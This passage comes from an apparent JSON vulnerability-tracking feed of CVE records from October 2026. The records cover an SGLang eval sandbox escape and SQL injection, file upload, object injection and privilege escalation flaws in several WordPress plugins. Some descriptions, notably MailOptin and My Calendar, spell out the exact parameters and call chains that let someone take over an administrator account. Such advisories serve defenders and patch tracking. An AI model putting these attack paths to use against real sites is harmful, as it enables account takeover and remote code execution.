forward pass.","detail":"SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox through re.search __globals__. Attackers can send a crafted filter expression to the unauthenticated /dumper/configure endpoint when DUMPER_SERVER_PORT is set, running code in the scheduler process on the next forward pass.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T12:16:33.197Z","updatedAt":"2026-10-16T14:17:23.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111391","asOf":"2026-10-16T14:17:23.290Z"},"epss":{"probability":0.00452,"percentile":0.38961,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111391","type":"primary","publishedAt":"2026-10-16T12:16:33.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111472","cveId":"CVE-2026-111472","aliases":[],"kind":"vulnerability","title":"An SQL injection vulnerability has been discovered in TSG Profleet.","summary":"An SQL injection vulnerability has been discovered in TSG Profleet. The vulnerability could allow an attacker to retrieve, create, update and delete data from the database by sending a GET request using the ‘Identificación’ parameter of the ‘/cgi-bin/index.php’ endpoint.","detail":"An SQL injection vulnerability has been discovered in TSG Profleet. The vulnerability could allow an attacker to retrieve, create, update and delete data from the database by sending a GET request using the ‘Identificación’ parameter of the ‘/cgi-bin/index.php’ endpoint.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T09:17:04.410Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111472","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00249,"percentile":0.16043,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111472&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111472","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111472","type":"primary","publishedAt":"2026-10-16T09:17:04.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111472&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111472, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94388","cveId":"CVE-2026-94388","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This issue affects Green Popups: from n/a before 7.6.3.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This issue affects Green Popups: from n/a before 7.6.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:14.430Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94388","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00229,"percentile":0.13627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94388&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94388","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94388","type":"primary","publishedAt":"2026-10-16T07:17:14.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94388&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94388, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94169","cveId":"CVE-2026-94169","aliases":[],"kind":"vulnerability","title":"Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1.","summary":"Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1.","detail":"Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:14.297Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94169","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.04422,"percentile":0.9129,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94169","type":"primary","publishedAt":"2026-10-16T07:17:14.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104730","cveId":"CVE-2026-104730","aliases":[],"kind":"vulnerability","title":"The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including,...","summary":"The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.7.4 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. If a POP chain is present via an additional plugin or theme installed on the target system, the attacker can store the malicious payload unauthenticated via the public favorites page and trigger deserialization by viewing any image in a non-viewable or private gallery.","detail":"The Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.7.4 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. If a POP chain is present via an additional plugin or theme installed on the target system, the attacker can store the malicious payload unauthenticated via the public favorites page and trigger deserialization by viewing any image in a non-viewable or private gallery.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:08.267Z","updatedAt":"2026-10-16T15:17:03.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104730","asOf":"2026-10-16T15:17:03.460Z"},"epss":{"probability":0.00512,"percentile":0.43348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104730&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104730","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104730","type":"primary","publishedAt":"2026-10-16T07:17:08.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104730&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104730, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89079","cveId":"CVE-2026-89079","aliases":[],"kind":"vulnerability","title":"The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1.","summary":"The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords on multi-site setups in certain configurations.","detail":"The Theme My Login plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 7.2.1. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords on multi-site setups in certain configurations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:12.410Z","updatedAt":"2026-10-16T18:19:42.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89079","asOf":"2026-10-16T18:19:42.210Z"},"epss":{"probability":0.01631,"percentile":0.76048,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89079","type":"primary","publishedAt":"2026-10-16T06:17:12.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103768","cveId":"CVE-2026-103768","aliases":[],"kind":"vulnerability","title":"The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the...","summary":"The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the initMailPart function. This is due to insufficient file type validation when saving IMAP email attachments. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.","detail":"The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the initMailPart function. This is due to insufficient file type validation when saving IMAP email attachments. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:03.060Z","updatedAt":"2026-10-16T15:17:02.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103768","asOf":"2026-10-16T15:17:02.553Z"},"epss":{"probability":0.00578,"percentile":0.47318,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103768&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103768","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103768","type":"primary","publishedAt":"2026-10-16T06:17:03.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103768&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103768, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109515","cveId":"CVE-2026-109515","aliases":[],"kind":"vulnerability","title":"The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc.","summary":"The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.78.6 This is due to the `subscribe_to_email_list` endpoint accepting an attacker-supplied `optin_data[form_custom_field_mappings]` parameter without any allow-list validation on destination keys, allowing the attacker-controlled mapping to override the administrator's saved mapping and pass arbitrary `wp_users` column names — including `ID` and `user_pass` — directly into `wp_insert_user()` via the `subscribe()` function. This makes it possible for unauthenticated attackers to force `wp_insert_user()` into UPDATE mode on any existing account by supplying a target user's numeric `ID`, overwrite that account's password with a pre-hashed value of their choosing, and thereby take over any WordPress user account — including administrators — leading to full site compromise. Exploitation requires that a WordPress User Registration opt-in form is published somewhere on the site, though the form's UUID is visible in page source and no authentication, nonce, or capability check is required to reach the vulnerable endpoint.","detail":"The MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.78.6 This is due to the `subscribe_to_email_list` endpoint accepting an attacker-supplied `optin_data[form_custom_field_mappings]` parameter without any allow-list validation on destination keys, allowing the attacker-controlled mapping to override the administrator's saved mapping and pass arbitrary `wp_users` column names — including `ID` and `user_pass` — directly into `wp_insert_user()` via the `subscribe()` function. This makes it possible for unauthenticated attackers to force `wp_insert_user()` into UPDATE mode on any existing account by supplying a target user's numeric `ID`, overwrite that account's password with a pre-hashed value of their choosing, and thereby take over any WordPress user account — including administrators — leading to full site compromise. Exploitation requires that a WordPress User Registration opt-in form is published somewhere on the site, though the form's UUID is visible in page source and no authentication, nonce, or capability check is required to reach the vulnerable endpoint.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:29.597Z","updatedAt":"2026-10-16T15:17:07.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109515","asOf":"2026-10-16T15:17:07.900Z"},"epss":{"probability":0.00439,"percentile":0.37887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109515&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109515","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109515","type":"primary","publishedAt":"2026-10-16T05:17:29.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109515&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109515, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109219","cveId":"CVE-2026-109219","aliases":[],"kind":"vulnerability","title":"The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function.","summary":"The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function. This is due to missing file extension validation on the attacker-supplied image_path parameter, whose basename-derived file name bypasses the extension allowlist applied only to the separate file_name parameter. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. Exploitation requires the board to be configured to allow guest posts, which is the plugin's default mode; the required nonce is printed on every public board page, making it readable by any unauthenticated visitor without a WordPress login.","detail":"The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function. This is due to missing file extension validation on the attacker-supplied image_path parameter, whose basename-derived file name bypasses the extension allowlist applied only to the separate file_name parameter. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. Exploitation requires the board to be configured to allow guest posts, which is the plugin's default mode; the required nonce is printed on every public board page, making it readable by any unauthenticated visitor without a WordPress login.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:29.100Z","updatedAt":"2026-10-23T19:17:41.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109219","asOf":"2026-10-23T19:17:41.920Z"},"epss":{"probability":0.00685,"percentile":0.52334,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109219","type":"primary","publishedAt":"2026-10-16T05:17:29.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104798","cveId":"CVE-2026-104798","aliases":[],"kind":"vulnerability","title":"The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7.","summary":"The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7. The public `mcs` GET parameter is reflected into post content unsanitized before WordPress core's `do_shortcode` filter runs, allowing an unauthenticated attacker to inject a nested `[my_calendar above=...]` shortcode; `mc_generate_calendar_nav()` then splits the `above` attribute on commas and dispatches each element via `call_user_func()` with no authentication, authorization, or callable allowlist check. This makes it possible for unauthenticated attackers to invoke arbitrary loaded PHP functions, enabling a call chain in which the shortcode `$params` array is passed to `edit_user()` — which PHP coerces to integer `1` as the `$user_id` argument — overwriting the credentials of the initial Administrator account (user ID 1) and granting the attacker full wp-admin access. Exploitation is trivially reachable via the plugin's auto-generated `/my-calendar/` page, which is publicly accessible by default upon plugin activation.","detail":"The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7. The public `mcs` GET parameter is reflected into post content unsanitized before WordPress core's `do_shortcode` filter runs, allowing an unauthenticated attacker to inject a nested `[my_calendar above=...]` shortcode; `mc_generate_calendar_nav()` then splits the `above` attribute on commas and dispatches each element via `call_user_func()` with no authentication, authorization, or callable allowlist check. This makes it possible for unauthenticated attackers to invoke arbitrary loaded PHP functions, enabling a call chain in which the shortcode `$params` array is passed to `edit_user()` — which PHP coerces to integer `1` as the `$user_id` argument — overwriting the credentials of the initial Administrator account (user ID 1) and granting the attacker full wp-admin access. Exploitation is trivially reachable via the plugin's auto-generated `/my-calendar/` page, which is publicly accessible by default upon plugin activation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T05:17:28.580Z","updatedAt":"2026-10-16T18:17:20.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104798","asOf":"2026-10-16T18:17:20.360Z"},"epss":{"probability":0.00471,"percentile":0.40454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104798","type":"primary","publishedAt":"2026-10-16T05:17:28.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111444","cveId":"CVE-2026-111444","aliases":[],"kind":"vulnerability","title":"Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data 